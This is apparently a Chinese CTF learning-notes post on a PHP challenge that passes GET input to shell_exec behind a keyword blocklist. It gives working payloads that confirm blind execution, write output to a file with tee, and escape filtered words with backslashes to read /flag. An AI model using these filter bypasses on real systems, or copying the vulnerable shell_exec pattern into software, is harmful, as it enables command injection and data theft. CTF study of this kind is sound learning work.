RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
AAA修煤气灶刘哥19 小时前
ES 地理查询玩明白,产品要的 “附近的店” 再也难不倒我!(附 DSL+Java 实战)
java·后端·elasticsearch
专注VB编程开发20年19 小时前
rust语言-对象多级访问
服务器·前端·rust
ajassi200019 小时前
开源 C++ QT Widget 开发(十三)IPC通讯--本地套接字 (Local Socket)
linux·c++·qt·开源
徐_三岁20 小时前
关于npm的钩子函数
前端·npm·node.js
代码小学僧20 小时前
🎉 在 Tailwind 中愉快的使用 Antd Design 色彩
前端·css·react.js
方先森有点懒20 小时前
CentOS 7.2 虚机 ssh 登录报错在重启后无法进入系统
linux·运维·centos·ssh
ssshooter20 小时前
复习 CSS Flex 和 Grid 布局
前端·css·html
十八旬20 小时前
苍穹外卖项目实战(day-5完整版)-记录实战教程及问题的解决方法
java·开发语言·spring boot·redis·mysql
shylyly_20 小时前
Linux->日志的实现
linux·运维·服务器
m0_7492999520 小时前
Nginx主配置文件
java·服务器·nginx